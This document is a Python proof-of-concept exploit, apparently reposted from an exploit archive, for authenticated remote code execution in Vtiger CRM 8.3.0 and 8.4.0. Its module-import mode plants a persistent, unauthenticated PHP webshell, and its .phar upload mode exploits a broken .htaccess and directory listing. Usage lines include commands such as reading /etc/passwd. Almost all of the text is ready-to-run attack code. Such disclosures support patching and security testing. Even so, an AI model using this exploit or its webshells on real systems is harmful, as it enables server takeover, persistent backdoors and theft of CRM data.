Share
## https://sploitus.com/exploit?id=PACKETSTORM:225477
#!/usr/bin/env python3
"""
Vtiger CRM Authenticated RCE PoC
Tested on: Vtiger CRM 8.3.0, 8.4.0
Author: jiva (jivasecurity.com)
Two exploit modes:
--mode module (default)
Module import drops a PHP shell into the web-accessible modules/ directory.
No file-type validation on extracted contents.
Works on all vtiger 8.x installs with admin credentials.
Shell persists at /modules/<NAME>/shell.php (unauthenticated after install).
--mode phar (verifed against 8.3.0)
Uploads a .phar webshell via the Documents module, then uses the broken
storage/.htaccess (Apache 2.2 syntax silently ignored on 2.4) and directory
listing on /storage/ to locate and execute it.
Works on wizard-installed instances where 'phar' is absent from upload_badext.
Usage:
python3 Vtiger-8.4.0-RCE-PoC.py --host 192.168.3.9 --port 8080 --cmd id
python3 Vtiger-8.4.0-RCE-PoC.py --host 192.168.3.9 --mode phar --cmd whoami
python3 Vtiger-8.4.0-RCE-PoC.py --host 192.168.3.9 -u admin -p admin --cmd 'cat /etc/passwd'
"""
import argparse
import datetime
import io
import random
import re
import string
import sys
import zipfile
import requests
requests.packages.urllib3.disable_warnings()
def get_csrf(session, url):
resp = session.get(url, verify=False)
m = re.search(r'csrfMagicToken\s*=\s*["\']([^"\']+)["\']', resp.text)
if not m:
m = re.search(r"name=['\"]__vtrftk['\"] value=['\"]([^'\"]+)['\"]", resp.text)
if not m:
sys.exit("[!] CSRF token not found")
return m.group(1)
def login(session, base, username, password):
csrf = get_csrf(session, f"{base}/index.php")
resp = session.post(
f"{base}/index.php",
data={
"__vtrftk": csrf,
"module": "Users",
"action": "Login",
"username": username,
"password": password,
},
allow_redirects=True,
verify=False,
)
if "logout" not in resp.text.lower():
sys.exit("[!] Login failed โ check credentials")
print("[+] Authenticated")
def exploit_module(session, base, cmd):
name = "Mod" + "".join(random.choices(string.ascii_uppercase, k=6))
manifest = f"""<?xml version="1.0"?>
<module>
<name>{name}</name>
<label>{name}</label>
<parent>Tools</parent>
<version>1.0</version>
<type>module</type>
<dependencies>
<vtiger_version>8.0.0</vtiger_version>
<vtiger_max_version>8.5.0</vtiger_max_version>
</dependencies>
</module>"""
lang = f'<?php $languageStrings = array("{name}" => "{name}"); ?>'
shell = b'<?php system($_GET["cmd"]); ?>'
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as zf:
zf.writestr("manifest.xml", manifest)
zf.writestr(f"modules/{name}/shell.php", shell)
zf.writestr(f"languages/en_us/{name}.php", lang)
buf.seek(0)
csrf = get_csrf(
session,
f"{base}/index.php?module=ModuleManager&parent=Settings"
"&view=ModuleImport&mode=importUserModuleStep1",
)
# Step 1: Upload the zip (importUserModuleStep2)
resp = session.post(
f"{base}/index.php",
data={
"__vtrftk": csrf,
"module": "ModuleManager",
"moduleAction": "Import",
"parent": "Settings",
"view": "ModuleImport",
"mode": "importUserModuleStep2",
"acceptDisclaimer": "on",
},
files={"moduleZip": (f"{name}.zip", buf, "application/zip")},
verify=False,
)
m = re.search(r'value="(usermodule_\d+\.zip)"', resp.text)
if not m:
sys.exit("[!] Module upload failed โ check response")
upload_file = m.group(1)
print(f"[+] Module uploaded: {upload_file}")
# Step 2: Install (importUserModuleStep3)
resp = session.post(
f"{base}/index.php",
data={
"__vtrftk": csrf,
"module": "ModuleManager",
"parent": "Settings",
"action": "Basic",
"mode": "importUserModuleStep3",
"module_import_file": upload_file,
"module_import_type": "module",
"module_import_name": name,
},
headers={"X-Requested-With": "XMLHttpRequest"},
verify=False,
)
if '"success":true' not in resp.text:
sys.exit(f"[!] Module install failed: {resp.text[:300]}")
print(f"[+] Module installed: {name}")
shell_url = f"{base}/modules/{name}/shell.php"
out = session.get(shell_url, params={"cmd": cmd}, verify=False).text.strip()
print(f"[+] Shell (no auth required): {shell_url}?cmd=<command>")
print(f"\n$ {cmd}")
print(out)
def exploit_phar(session, base, cmd):
csrf = get_csrf(session, f"{base}/index.php?module=Documents&view=Edit")
resp = session.post(
f"{base}/index.php",
data={
"__vtrftk": csrf,
"module": "Documents",
"action": "Save",
"record": "",
"notes_title": "report",
"folderid": "1",
"assigned_user_id": "1",
"notecontent": "test",
"filelocationtype": "I",
"filestatus": "1",
"fileversion": "1",
},
files={"filename": ("shell.phar", b'<?php system($_GET["cmd"]); ?>', "application/octet-stream")},
allow_redirects=False,
verify=False,
)
if resp.status_code not in (301, 302):
print("[!] No redirect after upload โ 'phar' may be in the blocklist on this instance")
print(" Try --mode module instead")
sys.exit(1)
print("[+] .phar uploaded")
# Browse directory listing to find the file
now = datetime.datetime.now()
week = (now.day - 1) // 7 + 1
storage_url = f"{base}/storage/{now.year}/{now.strftime('%B')}/week{week}/"
resp = session.get(storage_url, verify=False)
m = re.search(r'href="(\d+_[a-f0-9]+\.phar)"', resp.text)
if not m:
sys.exit(f"[!] .phar not found in directory listing at {storage_url}\n"
f" Check storage/ manually or try a different week directory")
shell_url = storage_url + m.group(1)
print(f"[+] Shell: {shell_url}")
out = session.get(shell_url, params={"cmd": cmd}, verify=False).text.strip()
print(f"\n$ {cmd}")
print(out)
def main():
ap = argparse.ArgumentParser(
description="Vtiger CRM authenticated RCE PoC โ ENG-2026-0005",
formatter_class=argparse.RawDescriptionHelpFormatter,
)
ap.add_argument("--host", required=True, help="Target host")
ap.add_argument("--port", type=int, default=8080, help="Target port (default: 8080)")
ap.add_argument("-u", "--username", default="admin", help="Username (default: admin)")
ap.add_argument("-p", "--password", default="admin", help="Password (default: admin)")
ap.add_argument(
"--mode",
choices=["module", "phar"],
default="module",
help="module: module import RCE, all installs (default); "
"phar: .phar upload, wizard-installed only",
)
ap.add_argument("--cmd", default="id", help="Command to execute (default: id)")
args = ap.parse_args()
base = f"http://{args.host}:{args.port}"
session = requests.Session()
session.headers["User-Agent"] = "Mozilla/5.0"
print(f"[*] Target: {base} mode={args.mode}")
login(session, base, args.username, args.password)
if args.mode == "module":
exploit_module(session, base, args.cmd)
else:
exploit_phar(session, base, args.cmd)
if __name__ == "__main__":
main()